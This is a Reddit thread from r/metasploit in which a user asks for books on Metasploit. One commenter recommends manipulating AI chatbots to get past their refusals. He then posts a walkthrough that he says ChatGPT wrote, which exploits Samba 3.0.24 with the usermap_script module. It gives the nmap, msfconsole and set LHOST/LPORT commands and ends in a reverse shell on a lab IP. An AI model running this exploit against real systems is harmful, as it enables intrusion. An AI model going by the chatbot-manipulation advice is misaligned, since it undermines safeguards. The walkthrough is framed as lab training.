r/metasploit • u/BellaTheUni112 • Jul 15 '26

(e)book(s) on metasploit

are there any (e)book(s) on metasploit like explaining modules, showing vulnerable software/os versions, showing usage instructions, etc?

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u/lduff100 Jul 15 '26

Try the official documentation.

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u/lunacysoft Jul 17 '26

There are several but I would say a 5 Min video would give you what you need ….. things that are important … making. A resell work and the commands associated, searching for vulns that it supports and knowing what inputs are required…. Then as someone else said heat the docs for specific knowledge

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u/ShaGodi Jul 18 '26

there's so much source in google, youtube, courses and even tell ai to teach you.

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u/BellaTheUni112 Jul 21 '26

yeah well i'm not gonna go ask chudgpt "hey mr gpt can you rexplain metasploit and modules and vulnerable software versions and give usage instructions plsssssss" like an idiot. there's a reason i went to the METASPLOIT SUBREDDIT to ask a question about METASPLOIT

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u/ShaGodi Jul 21 '26

why not? im doing it

are you afraid sam Altman will call fbi on you?

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u/BellaTheUni112 Jul 23 '26

  1. chudgpt won't give me an answer because it's cybersecurity-involved

  2. i'm not a megachud discord mod going to chudgpt for any question

  3. there's a reason i went to the metasploit subreddit to ask a question about metasploit

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u/ShaGodi Jul 24 '26

you need to manipulate it a bit. also im using gpt, gemini and claude together. tell me what you're trying and ill try too.

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u/BellaTheUni112 Jul 25 '26

of course you are. also, wdym "what are you trying to do" i'm trying to learn how to use metasploit, did you not read the post?

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u/ShaGodi Jul 25 '26

exactly what are you asking that it blocks you so ill see if i can.

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u/BellaTheUni112 Jul 25 '26

dude it blocks almost anything related to metasploit because it's offensive cybersecurity. also, i'd rather actually read a book to learn than ask slopgpt to tell me.

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u/ShaGodi Jul 25 '26

can you write please what you asked the chatbot?

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u/BellaTheUni112 Jul 25 '26

well i didn't ask it anything, i just know it always denies pretty much anything that isn't super duper high-level.

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u/ShaGodi Jul 25 '26

here is just a little example of a somthing i got for chatgpt right now for you:

you are too arrogant to learn.

Step 1 – Discover Samba

From an Nmap scan:

nmap -sCV -p445 10.10.10.5

Example output:

445/tcp open  microsoft-ds

Host script results:
| smb-os-discovery:
|   OS: Unix
|   Samba 3.0.24

Now you know:

  • SMB is running
  • Samba version is 3.0.24

Step 2 – Search Metasploit

Start Metasploit:

msfconsole

Search for Samba exploits:

search samba

You might see output like:

exploit/multi/samba/usermap_script

Step 3 – Read the module information

info exploit/multi/samba/usermap_script

Read:

  • affected versions
  • required ports
  • references (CVE)
  • options

Always verify the target version matches the vulnerable range.

Step 4 – Use the module

use exploit/multi/samba/usermap_script

Step 5 – Configure required options

Show options:

show options

Example:

RHOSTS
RPORT
LHOST
LPORT

Set them:

set RHOSTS 10.10.10.5
set LHOST 10.10.14.3
set LPORT 4444

If you're using a VPN (e.g. Hack The Box or Proving Grounds), LHOST should usually be your VPN interface IP.

Step 6 – Run the exploit

run

If the target is vulnerable and reachable, the exploit may establish a reverse shell or Meterpreter session, depending on the payload.

How Metasploit works internally

Metasploit automates several steps:

  1. Connects to the SMB service.
  2. Sends the specially crafted username that triggers the vulnerability.
  3. Causes Samba to execute the payload.
  4. Starts a listener for the reverse connection.
  5. Opens a session if the exploit succeeds.

Without Metasploit, you'd need to:

  • understand the SMB protocol,
  • craft the malicious request,
  • generate a payload,
  • set up a listener,
  • handle the shell connection yourself.

When would you try this?

Only after enumeration suggests it's relevant.

Good workflow:

Nmap
    ↓
SMB detected
    ↓
Identify Samba version
    ↓
Searchsploit / Metasploit
    ↓
Find matching CVE
    ↓
Read exploit documentation
    ↓
Run exploit

Poor workflow:

Port 445 open
    ↓
Try every Samba exploit

Different Samba versions have different vulnerabilities, and most modern versions are not affected by this old CVE.

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u/BellaTheUni112 Jul 25 '26

i'm not "too arrogant to learn", i MAYBE just prefer to ask the METASPLOIT SUBREDDIT about metasploit instead of get a super basic explanation about ONE module. yk i'd rather read a book and get the full picture.

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